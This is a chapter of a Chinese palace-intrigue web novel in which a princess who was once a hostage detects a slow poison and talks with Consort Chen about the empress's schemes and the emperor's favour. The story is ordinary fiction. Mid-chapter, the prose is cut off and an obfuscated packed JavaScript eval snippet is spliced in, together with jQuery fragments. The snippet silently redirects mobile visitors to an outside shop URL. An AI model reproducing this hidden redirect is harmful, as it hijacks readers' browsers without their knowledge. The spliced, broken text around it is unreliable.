双臂上的伤痕正在发红,贯穿着密密麻麻的刺痛。
在北境灌了各种乱七八糟的药,以至于身子中了毒便会发红刺痛。
浑身的血里都沾染了药味,以至于她被人下了毒之后看自己身子的反应都知道是哪类毒药。
痛感不重,从午膳到现下,结痂处尚未裂开。
这是一点一点下的慢毒。
能一步一步把人拖死。
时凝摁了摁因此毒而跳得稍快的心口,伸手摸进被褥里找出紫血丸咽下。一刻后便缓了此毒。
这皇宫里,会下毒的太多。
——
原以为宸妃爱香,但也不会将功夫用在调香上头。
然而时凝不久后便知自己想错了。宸妃所住的平令宫离潜宁院要半个时辰的轿程,竟一连几日都来潜宁院调香。
宸妃显然是个极有天资之人,还特喜钻研此道。
时凝因为对草药之物敏感,会在宸妃调香时说上一两句。
正好句句都碰在了点子上。
这位娘娘恐是将她当成了道友,拉着她在潜宁院做捣鼓出了不少好东西。
今日辰时七刻,时凝已经调好一味梅香,加了一味极寒的潜冬,从底下激起出去年冬日窨制好的梅花粉的清冽。
宸妃那儿缺了一味丁香,便打发宫人到计侍局去取。
干等着也实在无聊,她勾起时凝昨日用新香做好的如意缀云蓝珠香囊,闻了闻,又拿在手中晃了晃,一排小珠帘在上头相互碰撞发出哗啦啦的声响。
“这满宫里,就你和姐姐愿意在这上头搭理我。”
“这手艺也着实不错。”
时凝轻弯了嘴角,“娘娘谬赞。”
话落,宸妃忽地朝她看了一眼,“那这香囊归我,可好?”
这香囊,她可见她绣了五日。
然而时凝没什么意见,依旧浅浅笑道:“娘娘喜欢就好。”
“啧。”宸妃一双娇艳的眼睛甚是不满地看着她。
她扫了不远处好几盆被大雨打死的花草,这么久了依旧无人来换走,要是她宫里有这般光景,不用她说,她贴身的弄影一个人就能赏计侍局的领头几个巴掌。
“你这般说什么便是什么,难怪皇后和她那女儿总是欺你。”
宸妃声音比往常大,时凝听得出里头恨铁不成钢的意思。
她知道这位娘娘的好意。
然,许多事不是眼里见过和张一张嘴便能门清儿。
时凝真心,“娘娘心善。”
而后又道:“在潜宁院的日子倒也安生,除了请安之时,也不会见到皇后娘娘和玉葭公主……”
“那下次请安的时候呢,还让她们欺负你?”
宸妃顿时气不打一处来,她自小给谁打抱过不平,这么为一个人上火还是第一次。
心善?
她才不会心善!
看着面前瘦弱苍白到吓人的脸,“日子那么长,数数往后要请安的日子,请安上百次,你要让她们欺负上百次?你的命够她们欺负上百次?”
不会。
时凝不会。
可她张了张口,某些东西好似积了几十年老灰的锁柜,忘记了又有人想寻回。
其实早已被鼠蚁啃食殆尽了。
剩下一把铜锁埋在尘土里磨损得厉害。
突然不知道怎么游刃有余地与人说话,时凝有些温吞,“娘娘……”
眸子死水一般黯淡无光,说了两个字也想不出下文。
宸妃接过她的话,“你是觉得自己从前的身份不配在皇后面前护着自己?”
面前人的话灌入耳中。
时凝想结束这个话头,违心却只能顺势接了过来,“嗯。”
“从前是从前,如今是如今,”宸妃见她还是一副萎靡不振的样子,心里有什么话便都说了出来,“你现在是永安公主,大晟的嫡长公主,为国为质四年的功臣,既占着这个名头,不说要骑在皇后上头,但也不要太好拿捏了些。”
正说着,她倏地想起她阿姐同她说过关于时凝的事,便要说出来给时凝撑腰。
“你前几日宫里进了刺客,被陛下召去回来后不是李公公不是特意来吩咐潜宁院不准缺吃少穿?我阿姐都同我提过,陛下说福榆宫重新修缮后要你重新住回去——”
话音戛然而止,宸妃忽地凑到时凝耳边低声,“可见陛下已不像你刚回来时那般疑你。”
“而你这个院子里现下却是这副穷酸光景,你不知这里头有皇后的手笔?”
这里头有皇后的手笔。
陛下说福榆宫重新修缮后要你重新住回去
时凝一下便抓住这两处关键。
宸妃的意思是:帝后不合,皇帝可做你的靠山,无需在皇后和玉葭面前低声下气。
而她所想的是:这晟朝的帝后,做事没往一处拧。
原先她心中便有了疑影。
在政和殿的事,皇后缘何需要通过屏蝶才能知道。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844964|211726||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
若宸妃所言为真。
那便是皇后在猜忌皇帝。
皇帝亦对皇后严防死守。
那下毒呢?
又是谁做的?
耳边的低声还未消失,顾及今日不是苏凛暗卫值守的日子,怕宸妃还会说出什么来,时凝猛地止住了话头,“多谢娘娘提点。”
她侧头,眸子和宸妃的对上,十分诚恳,“永安知道了,若不是娘娘,永安还蒙骨子里,不懂得陛下的君恩。”
谢宸妃是真。
只是这“君恩”二字,时凝在心里往上泼了千万遍狗血。
宸妃看她似乎受教的模样,因着前头那句心善,生平有一种叫做欣慰的感受诞生于心头。
“行了,”她乐道,“陛下的君恩你知道便好,脑子怎么这么不灵光,这层都想不明白,往后可要硬气些。”
时凝笑道,“知道了娘娘。”
说罢,将搁在书桌上的如意缀云蓝珠香囊拿起,轻放在宸妃掌心,浅浅笑意,“这是永安真心愿意送给娘娘的,永安还想做个送给娘娘。”
宸妃:“真的?”
时凝:“真心的。”
“那你能不能再做一个,我也想给我阿姐一个。”
然而话一出口,宸妃便暗自腹诽自己快言快语,怎么转眼就把自个儿刚说的话丢地上了呢。
“给舒妃娘娘做也是真心的。”时凝道。
和风细雨,雨后春阳。
时凝此刻的面容便是如此。
宸妃信了她是真心的。
“那你慢慢做,什么时候都做好都成。”
她罕见地有些别扭,看着时凝瘦弱的身体,忍不住又说了一句,“你平日里多吃些吧。”
弄影早将丁香取回来,已经站了一刻,等着两位主子把话说完。
宸妃接过后,接下来制香的时辰里也不再说话。
午初,她伸了伸懒腰便起轿回宫。
时凝站在院门看着娇子抬起,宸妃在轿子上看,忽地觉得她一身旧钗裙分外刺眼,“过几日我叫人来唤你,与我同阿姐选个料子做新衣裳吧,不然宴上穿一身旧行头可怎么好。”
皇后可不会叫人给她好好制一身贺衣。
“宴上?”时凝不解。
瞧着她疑惑的神情,宸妃这才想起来,规矩是端明二十九年立下的,而时凝端明二十七年出使为质。
要说便要说个没完,现下也累了,“说来话长,我明日再来与你说。”